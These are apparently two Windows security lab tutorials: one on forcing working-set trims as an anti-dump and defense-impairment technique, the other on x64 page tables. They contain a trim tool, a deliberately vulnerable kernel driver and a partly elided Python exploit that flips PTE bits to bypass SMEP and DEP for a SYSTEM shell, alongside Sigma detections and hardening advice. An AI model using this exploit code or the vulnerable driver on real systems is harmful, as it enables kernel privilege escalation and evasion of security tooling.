}

Run it in one console. You should see the working set stabilize at roughly 262,000 KB plus the loader footprint. That is your patient.


7. Forcing a Trim From Another Process

This is the primitive we care about. Two lines of API do the whole thing:

// ws_trim.c   -   trim another process to the floor
#include <windows.h>
#include <psapi.h>
#include <stdio.h>
#pragma comment(lib, "psapi.lib")

int main(int argc, char **argv) {
    DWORD pid = (DWORD)atoi(argv[1]);
    HANDLE h = OpenProcess(PROCESS_SET_QUOTA | PROCESS_QUERY_INFORMATION,
                           FALSE, pid);
    if (!h) { printf("OpenProcess: %lu\n", GetLastError()); return 1; }

    PROCESS_MEMORY_COUNTERS pmc = { .cb = sizeof(pmc) };
    GetProcessMemoryInfo(h, &pmc, sizeof(pmc));
    printf("Before: WS = %llu KB\n",
           (unsigned long long)(pmc.WorkingSetSize / 1024));

    // Hard trim: remove as many pages as possible.
    if (!SetProcessWorkingSetSize(h, (SIZE_T)-1, (SIZE_T)-1)) {
        printf("SetProcessWorkingSetSize: %lu\n", GetLastError());
        return 2;
    }

    Sleep(200);
    GetProcessMemoryInfo(h, &pmc, sizeof(pmc));
    printf("After : WS = %llu KB\n",
           (unsigned long long)(pmc.WorkingSetSize / 1024));

    CloseHandle(h);
    return 0;
}

Run ws_lab_target.exe, note the PID, then in a second window ws_trim.exe <pid>. The target’s working set will collapse from ~262 MB to a few hundred KB in a blink. Watch the target’s next iteration: the printed WS will climb again as the re-touch loop soft-faults pages back in from the Standby list, then eventually plateau again. That soft-fault recovery is why “empty working set” is not “wipe memory.” The pages are almost all still in RAM, just re-parked on Standby.

That distinction is the whole reason adversaries do this and the whole reason it is not as clever as it looks.


8. Why an Adversary Cares

There are two real uses of forced trimming in offensive tooling.

The first is anti-dump timing. A process about to be dumped, or one that suspects a dump is imminent, calls SetProcessWorkingSetSize(hSelf, -1, -1) (or EmptyWorkingSet) on itself. Any user-mode dumper that reads memory via ReadProcessMemory on committed-but-not-resident pages will still get the data (the OS just soft-faults it back in), but tools that scrape strictly from resident RAM without traversing the page file, or that race a snapshot before the page-in can happen, will miss content. It is also a way to force the Modified Page Writer to flush dirty pages to the page file, which changes where forensic evidence lives.

The second is against other processes, most often security tooling. Trimming a defender’s working set out from under it degrades its cache warmth. Scan buffers, YARA rule tables, and hooked-DLL data structures get pushed to Standby and refault on next use. On a busy box this can measurably slow real-time scanning during the critical window right after payload execution. It falls under T1562.001 (Impair Defenses).

Neither of these is subtle when you know what to look for. Both are common enough to be worth a Sigma rule.

The gotcha I burned an afternoon on the first time I built this: on Windows 10 and 11 with memory compression enabled, the “trimmed” pages of your own process may end up in the compression store rather than the page file, still owned by MemCompression. Watching Task Manager’s Compressed column tick up while your target’s WS drops to zero is what tipped me off. If you dump MemCompression you can still find your data. Anti-forensics via EmptyWorkingSet is therefore weaker on modern Windows than it used to be, though it still fools naive tools.


Illustration of an attacker forcibly draining memory pages from a target process using working-set trimming as an anti-forensics weapon
Calling EmptyWorkingSet before a dump races the forensic window, but on modern Windows the pages often land in the compression store rather than disappearing entirely.

9. Detection and Defense

The cheapest, highest-signal detection is a cross-process OpenProcess with PROCESS_SET_QUOTA (0x0100) in the granted access mask coming from an unexpected source. Sysmon Event ID 10 catches it directly.

title: Cross-Process Working Set Manipulation via PROCESS_SET_QUOTA
id: 2f5f4c0b-ws-trim
status: experimental
logsource:
    product: windows
    service: sysmon
detection:
    selection:
        EventID: 10
        GrantedAccess|contains: '0x100'
    filter_sql:
        SourceImage|endswith:
            - '\sqlservr.exe'
            - '\MsMpEng.exe'
    filter_self:
        SourceProcessId: TargetProcessId
    condition: selection and not (filter_sql or filter_self)
fields:
    - SourceImage
    - TargetImage
    - GrantedAccess
    - CallTrace
level: medium

SQL Server is the single most common legitimate issuer of trim calls against other processes; expand the allowlist to fit your environment before shipping this. The CallTrace field is what makes the rule actually useful, because it will typically resolve to KERNELBASE!SetProcessWorkingSetSize or KERNEL32!K32EmptyWorkingSet, either of which is a strong confirmation that the intent was trimming and not something incidental like debugging.

Relevant Sysmon events for the wider chain:

Event IDNameWhy it matters here
10ProcessAccessDetects the PROCESS_SET_QUOTA handle open that trimming requires.
8CreateRemoteThreadOften precedes forced WS manipulation in injection chains.
25ProcessTamperingFires when in-memory image diverges from disk (Sysmon 13+); relevant when trimming is combined with hollowing.
1ProcessCreateBaseline correlation.

For a deeper telemetry layer, subscribe to Microsoft-Windows-Kernel-Memory for page-fault and working-set-change events, and, if you have an ELAM-signed consumer, Microsoft-Windows-Threat-Intelligence (ETWTI) for the highest-fidelity view of the adjacent injection primitives. Windows Kernel Trace with the PERF_MEMORY group and EVENT_TRACE_FLAG_MEMORY_HARD_FAULTS gives you raw hard-fault streams useful for anomaly baselining.

Performance counters are underrated here. Process\Working Set per process, sampled every 15 seconds, is enough to alert on the specific pattern of a critical service’s WS collapsing to near zero outside of a service restart. Add Memory\Modified Page List Bytes and Memory\Pages/sec for system-wide context.

Hardening the targets that matter:

  • Put LSASS and other high-value processes under PPL (Protected Process Light). PPL blocks PROCESS_SET_QUOTA from user-mode callers outright.
  • Enable Credential Guard where you can. It moves LSASS secrets into a VSM-isolated process whose working set is not reachable via the ordinary trim paths.
  • Baseline normal working-set curves for security tooling and alert on unexplained drops.
  • For anything security-sensitive in your own code, do not trust SetProcessWorkingSetSize minimums to pin memory. Use VirtualLock and audit the call sites.
  • Consider ETW syscall tracing on NtSetInformationProcess with ProcessQuotaLimits for the (SIZE_T)-1 / (SIZE_T)-1 fingerprint.

Graph diagram mapping the attacker's PROCESS_SET_QUOTA handle open to Sysmon Event ID 10, CallTrace confirmation, PPL hardening, and PerfMon working-set anomaly alerting
Layered detection combines Sysmon EID 10 access-mask filtering with performance-counter baselining, while PPL hardens the highest-value targets at the kernel level.

10. Tools

ToolUseLink
VMMapVisualize working set vs. committed vs. reserved per regionlearn.microsoft.com/sysinternals
Process ExplorerLive per-process WS, private bytes, WS Peaklearn.microsoft.com/sysinternals
Process HackerPer-thread stack, more granular WS view than PEprocesshacker.sourceforge.io
RAMMapSystem-wide page list breakdown (Standby, Modified, Free, Zeroed)learn.microsoft.com/sysinternals
WinDbg (kernel)dt nt!_MMWSL, dt nt!_MMWSLE, !pfn, !vm, !memusagelearn.microsoft.com/windows-hardware
SysmonProcessAccess (EID 10) telemetrylearn.microsoft.com/sysinternals
xperf / WPRETW capture of Microsoft-Windows-Kernel-Memorylearn.microsoft.com/windows-hardware

For the kernel cross-check on the lab target, the sequence I actually use in WinDbg attached to a test VM is:

!process 0 0 ws_lab_target.exe
.process /i /r <EPROCESS>
dt nt!_MMWSL @@masm(nt!MmWorkingSetList)
!vm 1
!memusage 4
!pfn <pfn-from-ws-walker>

Field offsets inside MMWSL and MMWSLE change across Windows builds. Do not memorize them from a blog post; ask the symbols on the box you are actually on.


11. MITRE ATT&CK Mapping

TechniqueMITRE IDDetection
Process InjectionT1055Sysmon EID 8 (CreateRemoteThread), EID 10 with 0x1F0FFF/0x1FFFFF access.
Process Injection: DLL InjectionT1055.001EID 10 PROCESS_VM_WRITE + EID 8; correlate CallTrace.
Process Injection: Process HollowingT1055.012Sysmon EID 25 ProcessTampering; image-on-disk vs. in-memory diff.
Indicator RemovalT1070Sysmon EID 10 with PROCESS_SET_QUOTA (0x0100) to sensitive targets.
Impair Defenses: Disable or Modify ToolsT1562.001WS-drop anomalies on security tooling via PerfMon Process\Working Set.

12. Summary

  • The working set is the resident, pageable subset of a process’s virtual address space, managed by MmWorkingSetManager under the Balance Set Manager on a 1 Hz timer plus demand triggers.
  • Trimmed pages go to the Standby or Modified list; they are not gone from RAM, which is why refault recovery is cheap.
  • SetProcessWorkingSetSize(-1, -1) and EmptyWorkingSet are anti-dump / anti-scan primitives, most useful pre-forensics or against security tooling, and both leave a Sysmon EID 10 fingerprint with PROCESS_SET_QUOTA in the mask.
  • If you actually need memory pinned, VirtualLock is the only API that guarantees it; working-set minimums do not.
  • Detect via Sysmon EID 10 (0x100) with a sqlservr.exe/MsMpEng.exe allowlist, harden LSASS and critical processes under PPL and Credential Guard, and baseline WS curves so a sudden collapse of a defender’s working set is a page you get, not a page you miss.

Related Tutorials

References

Paging Internals: Page Tables, PTEs, and Address Translation

Objective: Take a 64-bit virtual address apart bit by bit, walk it through the four-level x64 paging hierarchy in WinDbg, understand every field of the hardware PTE, and then see how a single flipped bit in one PTE bypasses SMEP and DEP against a self-written vulnerable driver, paired with the detection and HVCI hardening that shuts the technique down.


You’ve probably read the sentence “Windows uses 4-level paging on x64” a hundred times. What that sentence actually hides is more interesting: every single load, store, and instruction fetch your CPU does costs up to four dependent memory reads unless the TLB saves you, and every one of those reads is walking a structure the kernel curates with obsessive care. The Memory Manager owns those tables. The MMU consumes them. And when a kernel-mode attacker gets a single 8-byte write to the right address, the whole enforcement model (SMEP, DEP, the U/S separation the architecture rests on) collapses.

This post is the mechanism first, then a hands-on WinDbg walk against a live process, then the PTE-overwrite primitive against a custom vulnerable driver in a lab. If you can’t identify a PTE by hand in dq output, the exploit chapter won’t stick.


1. Why Paging, and Why Canonical Addresses

A process sees a 64-bit flat address space. Physical RAM is finite and shared. Paging is the indirection that lets both statements be true: virtual pages map to physical page frames via translation tables that the OS builds per process, so 0x7ff6``abcd1000 in one process and 0x7ff6``abcd1000 in another point at completely different bytes.

Two things follow. First, isolation is a byproduct of the fact that each process has its own top-level table. Swap the pointer to that table and you’re in another address space. Second, x64 doesn’t actually use all 64 bits: only 48 are meaningful under 4-level paging, and bits 63:48 must sign-extend bit 47. That’s the “canonical address” rule. Try to dereference 0x0000_8000_0000_0000 and the CPU faults before translation even starts. User-mode gets the low half (0x0 through 0x00007FFF_FFFFFFFF), kernel-mode gets the high half (0xFFFF8000_00000000 and up).

The 48 meaningful bits split cleanly:

BitsFieldSelects
47:39PML4 index (9 bits)One of 512 PML4Es
38:30PDPT index (9 bits)One of 512 PDPTEs
29:21PD index (9 bits)One of 512 PDEs
20:12PT index (9 bits)One of 512 PTEs
11:0Byte offset (12 bits)Byte inside the 4 KB page

Each table is 512 entries, each entry 8 bytes: exactly one 4 KB page. That’s not a coincidence; the tables are themselves pages, which is what makes the self-reference trick in section 7 work.


Hierarchy diagram showing the four-level x64 page table walk from CR3 through PML4, PDPT, PD, and PT to the final physical page
Each virtual address encodes five indexes that walk this chain; every arrow is one dependent physical memory read unless the TLB intervenes.

2. CR3 and _KPROCESS.DirectoryTableBase

CR3 holds the physical address of the current process’s PML4. Bits 12:51 of CR3 are the PFN of the PML4; the low 12 bits are flags (PCD, PWT) and, on modern CPUs with PCID enabled, an ASID-like tag.

Windows tracks this per process in _KPROCESS.DirectoryTableBase at offset +0x028. On a context switch, the scheduler reloads CR3 from the incoming thread’s process. That single MOV to CR3 is what makes address spaces cheap to swap and, incidentally, what invalidates most of the TLB (PCID lets you keep some entries; more on that later).

kd> !process 0 0 notepad.exe
PROCESS ffffab0c1e4d3080
    SessionId: 1  Cid: 1a2c    Peb: 000000abcd123000
    DirBase: 1a3f2000  ObjectTable: ...  Image: notepad.exe

kd> dt nt!_KPROCESS ffffab0c1e4d3080 DirectoryTableBase
   +0x028 DirectoryTableBase : 0x1a3f2000

That 0x1a3f2000 is a physical address. You can’t dq it directly; you need !dq (physical read) or !vtop.


3. The Hardware PTE Bit by Bit

nt!_MMPTE_HARDWARE is a ULONGLONG bitfield. Every PTE at the leaf level (and every non-leaf entry) looks like this, minus a couple of level-specific fields:

Bit(s)FieldMeaning
0Valid (P)Present. Clear = not in RAM, triggers #PF and the software PTE interpretation kicks in.
1Write (R/W)Hardware writability. Cleared for copy-on-write, read-only mappings.
2Owner (U/S)1 = user-accessible, 0 = supervisor only. This is the SMEP boundary.
5Accessed (A)Set by the CPU on any reference.
6Dirty (D)Set by the CPU on any write. Working-set trimmer uses this.
7LargePage (PS)Only meaningful in PDE/PDPTE. 1 = terminate walk here (2 MB / 1 GB page).
11Software WriteThe Memory Manager’s real writability tracker. On allocation the hardware Write bit is cleared; the software bit records the intent. Lets Mm distinguish “read-only forever” from “writable, currently unwritten so we haven’t set the hardware R/W yet.”
12:51PageFrameNumberThe PFN of the next-level table (or the final physical page). Multiply by 0x1000 to get the physical address.
52:62SoftwareWsIndexWorking-set index. All 11 high software bits when protection keys aren’t in use.
63NoExecute (NX/XD)1 = no instruction fetch. This is DEP at the page level.

Two bits do all the work in the exploit chapter: bit 2 and bit 63. Clear bit 2 and a user page becomes a kernel page. Clear bit 63 and a data page becomes executable. Do both to the leaf PTE covering your shellcode buffer and the CPU cannot tell the difference between that page and a legitimate kernel executable page. SMEP checks bit 2 during instruction fetch from ring 0; if it’s clear, the fetch succeeds.

You can pull the live definition and be sure:

kd> dt nt!_MMPTE_HARDWARE
   +0x000 Valid            : Pos 0, 1 Bit
   +0x000 Dirty1           : Pos 1, 1 Bit
   +0x000 Owner            : Pos 2, 1 Bit
   +0x000 WriteThrough     : Pos 3, 1 Bit
   +0x000 CacheDisable     : Pos 4, 1 Bit
   +0x000 Accessed         : Pos 5, 1 Bit
   +0x000 Dirty            : Pos 6, 1 Bit
   +0x000 LargePage        : Pos 7, 1 Bit
   +0x000 Global           : Pos 8, 1 Bit
   +0x000 CopyOnWrite      : Pos 9, 1 Bit
   +0x000 Unused           : Pos 10, 1 Bit
   +0x000 Write            : Pos 11, 1 Bit
   +0x000 PageFrameNumber  : Pos 12, 36 Bits
   +0x000 SoftwareWsIndex  : Pos 52, 11 Bits
   +0x000 NoExecute        : Pos 63, 1 Bit

Illustration of a hardware PTE as a physical 8-byte block with distinct bit-field zones highlighted to show Valid, Owner, NoExecute, and PageFrameNumber regions
Every leaf PTE is exactly 8 bytes; bit 2 (Owner/U/S) and bit 63 (NoExecute) are the sole gatekeepers for SMEP and DEP enforcement.

4. When Valid Is Zero: Software PTE States

If Valid is clear, the CPU faults. What happens next depends on how the Memory Manager reinterpreted the other 63 bits. There are three encodings you need to know:

StateStructureWhat it means
Paged out_MMPTE_SOFTWAREContents live in the pagefile. Other fields point to the pagefile offset.
Transition_MMPTE_TRANSITIONPage is on the standby or modified list, still in RAM, just not part of a working set. Fault resolves without disk I/O.
Prototype_MMPTE_PROTOTYPEPoints at a prototype PTE (a shared reference in the segment structure). Used for mapped files, DLLs, section objects. Multiple process PTEs can point at the same prototype PTE, which is how physical page sharing works.

Prototype PTEs are the single most confusing corner of Windows paging until it clicks: the actual translation for a mapped kernel32.dll page lives in the section object’s prototype PTE array, and each process’s per-process PTE just references it. Change the prototype, every mapping sees the change.


5. Manual Address Translation in WinDbg

Attach a kernel debugger to a target VM (I’m running Windows 10 22H2, HVCI off for now). Pick a process, pick a VA, and walk it by hand once. After that, !pte will feel like cheating.

kd> !process 0 0 notepad.exe
PROCESS ffffab0c1e4d3080  ...  DirBase: 000000001a3f2000  Image: notepad.exe

kd> .process /i /p ffffab0c1e4d3080
kd> g
kd> .reload /f /user

Grab a VA. I’ll use 0x00007FF6ABCD1000 for the walk (pretend it’s the base of a code page in notepad). Decompose it:

kd> ? (0x00007FF6ABCD1000 >> 0n39) & 0x1FF
Evaluate expression: 255 = 00000000`000000ff

kd> ? (0x00007FF6ABCD1000 >> 0n30) & 0x1FF
Evaluate expression: 410 = 00000000`0000019a

kd> ? (0x00007FF6ABCD1000 >> 0n21) & 0x1FF
Evaluate expression: 350 = 00000000`0000015e

kd> ? (0x00007FF6ABCD1000 >> 0n12) & 0x1FF
Evaluate expression: 465 = 00000000`000001d1

kd> ? 0x00007FF6ABCD1000 & 0xFFF
Evaluate expression: 0 = 00000000`00000000

PML4 index 0xFF, PDPT index 0x19A, PD index 0x15E, PT index 0x1D1, byte offset 0. Now walk it. CR3 (equivalent to DirBase) is 0x1A3F2000 physical:

kd> !dq 0x1a3f2000 + (0xff * 8) L1
# 1a3f27f8  0a000000`1c4a1867

The low 12 bits (0x867) are the PML4E flags. Valid=1, Write=1, Owner=1 (user), Accessed=1, Dirty=0. PFN = 0x1C4A1. Physical address of the PDPT is 0x1C4A1 * 0x1000 = 0x1C4A1000.

kd> !dq 0x1c4a1000 + (0x19a * 8) L1
# 1c4a1cd0  0a000000`1d1f2867

kd> !dq 0x1d1f2000 + (0x15e * 8) L1
# 1d1f2af0  0a000000`22cd4867

kd> !dq 0x22cd4000 + (0x1d1 * 8) L1
# 22cd4e88  8a000000`1f8e5025

That final entry is the leaf PTE. 0x025 decoded: Valid=1, Write=0, Owner=1, Accessed=1. Bit 63 is set (the high nibble is 0x8), so NoExecute=1… wait, this is code, why is NX set? Because I lied about the address to keep the walk clean. In a real notepad code page you’d see NX=0 for .text, NX=1 for .data, W=0 for both because Windows doesn’t ship writable executable pages.

Compare to what !pte does in one shot:

kd> !pte 0x00007FF6ABCD1000
                                           VA 00007ff6abcd1000
PXE at FFFFAA5528A94FF8    PPE at FFFFAA5528A9FCD0
PDE at FFFFAA53F9BAAF0     PTE at FFFFAA7F35E88E88
contains 0A0000001C4A1867  contains 0A0000001D1F2867
contains 0A00000022CD4867  contains 8A0000001F8E5025
pfn 1c4a1     ---UA--UWEV  pfn 1d1f2     ---UA--UWEV
pfn 22cd4     ---UA--UWEV  pfn 1f8e5     ---UA----V

Same PFNs. The addresses FFFFAA... are the virtual addresses of each table entry, computed via the self-reference PML4E (section 7). That’s why !pte prints them as VAs you can dq directly, no physical translation needed.

To get physical from a VA in one command:

kd> !vtop 1a3f2000 00007ff6abcd1000
Amd64VtoP: Virt 00007ff6abcd1000, pagedir 000000001a3f2000
...
Virtual address 7ff6abcd1000 translates to physical address 1f8e5000.

If any of those contains values ended in 0x0 or 0x2 (Valid=0), you’d be looking at a software PTE and would need dt nt!_MMPTE_SOFTWARE or dt nt!_MMPTE_PROTOTYPE to interpret it.


6. The PFN Database

Every 4 KB of physical RAM has one _MMPFN entry. The array lives at nt!MmPfnDatabase. Given any PFN from a walk above, !pfn prints its state:

kd> !pfn 1f8e5
    PFN 0001F8E5 at address FFFFCE80007E3960
    flink       00000000  blink / share count 00000001  pteaddress FFFFAA7F35E88E88
    reference count 0001    Cached    color 0   Priority 5
    restore pte 00000080  containing page        022CD4  Active     M

Two directions are important. Forward: PTE PageFrameNumber gives you the PFN. Reverse: the PFN entry has a PteAddress pointing back at the PTE, so the kernel can walk from a physical page to every mapping of it. This is how the working-set trimmer, page-file writer, and copy-on-write logic operate without scanning entire process trees.


7. The Self-Reference PML4 Entry

One PML4E on every Windows system points back at the PML4 itself. Follow that entry once and instead of walking into a PDPT, you walk back into the PML4 as if it were a PDPT. Follow it twice and it becomes a PD. Three times, a PT. Four times, a real page: the PML4 dumped as bytes.

The reader benefit: any table at any level has a stable VA the kernel can compute with an arithmetic shift. The formula:

PTE_VA = PTE_BASE + ((TargetVA >> 9) & ~7)

PTE_BASE is where the “one step through self-ref” region begins. On Windows 7 the self-ref index was hard-coded at 0x1ED, so PTE_BASE was constant. Starting with Windows 10 RS1 (1607), the loader picks a random self-ref index at boot via the Dynamic Value Relocation Table, so PTE_BASE is randomized per boot. Read nt!MiGetPteAddress at runtime to recover it: the instruction sequence embeds the current PTE_BASE as an immediate, right after a mov rax, imm64.

We use exactly this trick in the exploit chapter.


8. Large Pages and the TLB

If PS=1 in a PDE, the walk terminates there: bits 20:0 of the VA become the offset into a 2 MB page. If PS=1 in a PDPTE, bits 29:0 are the offset into a 1 GB page. Two consequences worth internalizing:

  • One TLB entry now covers 2 MB or 1 GB instead of 4 KB. Massive coverage improvement for things like the kernel image and database buffer pools.
  • The PAT bit moves. In a 4 KB PTE the PAT bit is bit 7. In a large-page PDE/PDPTE, bit 7 is repurposed as LargePage, so PAT relocates to the low bit of the PageFrameNumber field, and the next eight PFN bits are reserved-zero.

The TLB caches completed translations. INVLPG <addr> kills one entry; mov cr3, cr3 (or KeFlushEntireTb) kills them all except global ones. On modern CPUs, PCID tags entries with the process ID, so a CR3 reload doesn’t blow the whole TLB. The rule for anyone modifying a PTE by hand: flush, or the CPU keeps using the old translation. This is the single most common reason a PTE-overwrite PoC “doesn’t work” the first time.


9. The Lab Target: A Self-Written Write-What-Where Driver

To see PTE overwrite from the offensive side, we need a kernel primitive. I’m using GenXCyber_VulnDrv.sys, a driver I wrote solely for this lab. It exports one IOCTL that takes a {What: ULONGLONG, Where: PVOID} pair and does exactly what the name suggests. No validation. No probe. It’s the kind of bug that shows up in real third-party drivers, but here it’s mine, signed with a test cert, loaded on an isolated Hyper-V VM with Test Signing on and HVCI off.

The vulnerable dispatch, so you can build the same thing:

// GenXCyber_VulnDrv.c — DO NOT USE OUTSIDE AN ISOLATED LAB VM
typedef struct _WWW_REQUEST {
    ULONG_PTR What;    // Value to write
    PVOID     Where;   // Kernel address to write to
} WWW_REQUEST, *PWWW_REQUEST;

#define IOCTL_WWW CTL_CODE(FILE_DEVICE_UNKNOWN, 0x800, METHOD_BUFFERED, FILE_ANY_ACCESS)

NTSTATUS DispatchIoctl(PDEVICE_OBJECT DeviceObject, PIRP Irp) {
    PIO_STACK_LOCATION sp = IoGetCurrentIrpStackLocation(Irp);
    NTSTATUS status = STATUS_SUCCESS;

    if (sp->Parameters.DeviceIoControl.IoControlCode == IOCTL_WWW) {
        PWWW_REQUEST req = (PWWW_REQUEST)Irp->AssociatedIrp.SystemBuffer;
        // Vulnerable: no ProbeForWrite, no address-range check.
        *(ULONG_PTR*)req->Where = req->What;
    }
    Irp->IoStatus.Status = status;
    Irp->IoStatus.Information = 0;
    IoCompleteRequest(Irp, IO_NO_INCREMENT);
    return status;
}

With that primitive, we can write one PTE.


10. Exploit: Flipping U/S and NX to Bypass SMEP and DEP

SMEP is enforced on instruction fetch. When the CPU is in ring 0 and fetches an instruction, it checks the Owner bit of the PTE covering that instruction. If Owner=1 (user), fault. That’s the whole mechanism. It does not check CR3, it does not check whether the mapping “belongs” to any process. It only checks the PTE.

So: allocate shellcode in user-mode, make its PTE claim Owner=0 (supervisor) and NoExecute=0 (executable), and trigger execution from a kernel context. The classic pivot is overwriting a kernel function pointer (nt!HalDispatchTable+0x8, reached via NtQueryIntervalProfile) so the next call jumps into user memory.

Only the leaf PTE needs flipping. SMEP is per-page, and the check happens on the final translation. Upper tables staying user-accessible is fine.

Here’s the exploit harness in Python. It uses ctypes for the driver IOCTL, an arbitrary-read gadget (assume the same driver also exposes a read-what-where; add it, it’s five lines), and computes PTE_VA from a leaked nt!MiGetPteAddress.

# genx_pte_overwrite.py  — LAB ONLY. Requires Test Signing, HVCI OFF.
import ctypes, struct, os
from ctypes import wintypes as w

k32 = ctypes.WinDLL("kernel32", use_last_error=True)
nt  = ctypes.WinDLL("ntdll",    use_last_error=True)

GENERIC_RW    = 0xC0000000
OPEN_EXISTING = 3
IOCTL_WWW     = 0x22E000    # CTL_CODE(FILE_DEVICE_UNKNOWN, 0x800, METHOD_BUFFERED, FILE_ANY_ACCESS)
IOCTL_RWW     = 0x22E004    # companion read-what-where

# --- 1. Open the vulnerable device ---
h = k32.CreateFileW(r"\\.\GenXCyberVuln", GENERIC_RW, 0, None,
                    OPEN_EXISTING, 0, None)
assert h != -1, "device open failed"

# --- 2. Resolve nt base + MiGetPteAddress via SystemModuleInformation ---
def leak_nt_base():
    # NtQuerySystemInformation(SystemModuleInformation=0x0B, ...)
    # implementation elided for brevity — returns kernel base ULONGLONG.
    ...

def read_kernel(addr, size=8):
    buf = (ctypes.c_ubyte * size)()
    req = struct.pack("<QQ", addr, size)
    out = w.DWORD(0)
    k32.DeviceIoControl(h, IOCTL_RWW, req, len(req), buf, size,
                        ctypes.byref(out), None)
    return bytes(buf)

def write_kernel(addr, qword):
    req = struct.pack("<QQ", qword, addr)   # {What, Where}
    out = w.DWORD(0)
    ok = k32.DeviceIoControl(h, IOCTL_WWW, req, len(req), None, 0,
                             ctypes.byref(out), None)
    assert ok

nt_base = leak_nt_base()

# MiGetPteAddress prologue on Win10/11:
#   48 C1 E9 09        shr  rcx, 9
#   48 B8 ?? ?? ?? ?? ?? ?? ?? ??   mov rax, PTE_BASE
#   48 23 C8           and  rcx, rax
#   48 B8 ?? ?? ?? ?? ?? ?? ?? ??   mov rax, PXE_BASE
#   48 03 C1           add  rax, rcx
#   C3                 ret
mi_get_pte = nt_base + 0x000000          # resolve via PDB / pattern scan
pte_base   = struct.unpack("<Q", read_kernel(mi_get_pte + 0x13, 8))[0]
print(f"[+] PTE_BASE = {pte_base:#018x}")

# --- 3. Allocate + populate shellcode in user-mode ---
MEM_COMMIT_RESERVE = 0x3000
PAGE_EXECUTE_RW    = 0x40
sc_addr = k32.VirtualAlloc(None, 0x1000, MEM_COMMIT_RESERVE, PAGE_EXECUTE_RW)

# Token-stealing shellcode: walk PsActiveProcessLinks, find PID 4 (System),
# copy its Token into current EPROCESS.Token, then ret cleanly.
shellcode = bytes.fromhex(
    "6531c0..."      # (assembled separately, kept brief here)
)
ctypes.memmove(sc_addr, shellcode, len(shellcode))
print(f"[+] shellcode @ {sc_addr:#018x}")

# --- 4. Compute PTE virtual address for the shellcode page ---
pte_va = pte_base + ((sc_addr >> 9) & ~0x7)
print(f"[+] PTE_VA    = {pte_va:#018x}")

# --- 5. Read current PTE, clear U/S (bit 2) and NX (bit 63) ---
old_pte = struct.unpack("<Q", read_kernel(pte_va, 8))[0]
new_pte = old_pte & ~(1 << 2) & ~(1 << 63)
print(f"[+] old PTE   = {old_pte:#018x}")
print(f"[+] new PTE   = {new_pte:#018x}")

# --- 6. Write it back ---
write_kernel(pte_va, new_pte)

# --- 7. Flush TLB. Easiest lab option: touch a lot of pages to force eviction,
#        or write to a kernel spinlock via the same primitive to cause
#        KiFlushEntireTb on the next context switch. Real PoCs call
#        KeFlushEntireTb via a ROP-thunked IOCTL. For this lab, sleep + spin. ---
ctypes.windll.kernel32.Sleep(50)

# --- 8. Trigger: overwrite nt!HalDispatchTable+0x8, call NtQueryIntervalProfile ---
hal_dispatch = nt_base + 0x000000 + 0x8   # resolve HalDispatchTable
write_kernel(hal_dispatch, sc_addr)

class _dummy(ctypes.Structure): pass
NtQueryIntervalProfile = nt.NtQueryIntervalProfile
interval = w.ULONG(0)
NtQueryIntervalProfile(w.ULONG(1), ctypes.byref(interval))

# --- 9. Confirm SYSTEM ---
os.system("cmd.exe")

The critical line is new_pte = old_pte & ~(1 << 2) & ~(1 << 63). Two bits. That’s the whole SMEP+DEP bypass on a system without HVCI. SMEP still enforces its rule (kernel cannot execute a user-owner page); we just made the page claim it’s a kernel page. The CPU has no way to know otherwise, because the CPU is not aware of “user allocations”, only PTEs.

The first time I did this in a lab, I skipped the TLB flush and spent an hour convinced the write hadn’t landed. !pte in the kernel debugger showed the correct new value, but the CPU that had just executed my read still had the old translation cached and cheerfully faulted on the shellcode. Sleep, or force a context switch on the target logical processor, or invoke KeFlushEntireTb through the primitive. Don’t skip this step.


Flow diagram tracing the full PTE overwrite exploit chain from user shellcode allocation through PTE bit flipping, TLB flush, HalDispatchTable pivot, and final SYSTEM shell
Two cleared bits in a single PTE collapse both SMEP and DEP; every other step is logistics around discovering which 8 bytes to flip.

11. Common Attacker Techniques

TechniqueDescription
PTE U/S flipClear bit 2 on a shellcode PTE to defeat SMEP without touching CR4.
PTE NX clearClear bit 63 on a data page to make it executable, defeating kernel DEP.
PTE Valid clear (rootkit hide)Clear bit 0 to make a page appear unmapped to naive scanners while remaining physically resident via the Transition PTE state.
Prototype PTE poisoningAlter a shared prototype PTE to redirect all processes mapping a section to attacker memory.
Self-ref PML4 abuseUse the self-reference entry to read or edit any table from a fixed VA once PTE_BASE is leaked.
Physical R/W via MmMapIoSpaceIn drivers exposing this API to user, map arbitrary physical pages including page tables directly.

12. Defensive Strategies & Detection

Sysmon cannot see a PTE write. That write happens inside the kernel via a driver IOCTL and never crosses a Sysmon-instrumented boundary. Detection has to catch the surrounding activity: the driver load, the outcome (a SYSTEM shell from an unusual parent), and the ETW Threat-Intelligence provider that PPL-EDRs consume.

Relevant Sysmon Event IDs:

Event IDSignal
6Driver Load. Catches the vulnerable driver’s install.
1Process Create. Catches the SYSTEM cmd.exe from an unexpected parent.
10ProcessAccess. Post-escalation lateral moves (LSASS, etc.).

Two Sigma sketches worth deploying:

title: Unsigned or Test-Signed Kernel Driver Load
logsource:
    product: windows
    service: sysmon
detection:
    selection:
        EventID: 6
        Signed: 'false'
    condition: selection
fields:
    - ImageLoaded
    - Hashes
    - Signature
level: high
title: SYSTEM cmd.exe Spawned From Non-Service Parent
logsource:
    category: process_creation
    product: windows
detection:
    selection:
        Image|endswith: '\cmd.exe'
        IntegrityLevel: 'System'
    filter_legit:
        ParentImage:
            - 'C:\Windows\System32\services.exe'
            - 'C:\Windows\System32\wininit.exe'
    condition: selection and not filter_legit
level: high

ETW providers that matter here:

ProviderValue
Microsoft-Windows-Kernel-MemoryLarge/anomalous RWX allocations.
Microsoft-Windows-Threat-Intelligence (ETWTI)PPL-only. Surfaces kernel-level allocation and protection changes that no other telemetry sees.
Microsoft-Windows-Security-AuditingEvent 4672 (Special Logon), Event 4688 (Process create with command line).
Microsoft-Windows-Kernel-ProcessPost-exploit process tree anomalies.

Turn on Audit Sensitive Privilege Use for the 4674 events when SeDebugPrivilege fires, and Audit Process Creation with command-line logging for real 4688 data.

The definitive control:

HardeningWhat it stops
HVCI / Memory Integrity (VBS)The hypervisor owns the second-level page tables. Guest kernel PTE edits that would create a supervisor executable mapping from a user-owned physical page are blocked at SLAT. Also blocks CR4 writes that clear SMEP. This is the reason the exploit above requires HVCI off.
SMEPPer-page enforcement of “kernel cannot execute user pages.” Bypassed by the PTE flip when HVCI is off.
SMAPBlocks kernel reads/writes to user-owner pages. Windows uses selective SMAP; drivers that touch user memory wrap in stac/clac equivalents.
Kernel DEP / NonPagedPoolNxNon-executable pool. Forces attackers away from data pages toward PTE tricks or ROP.
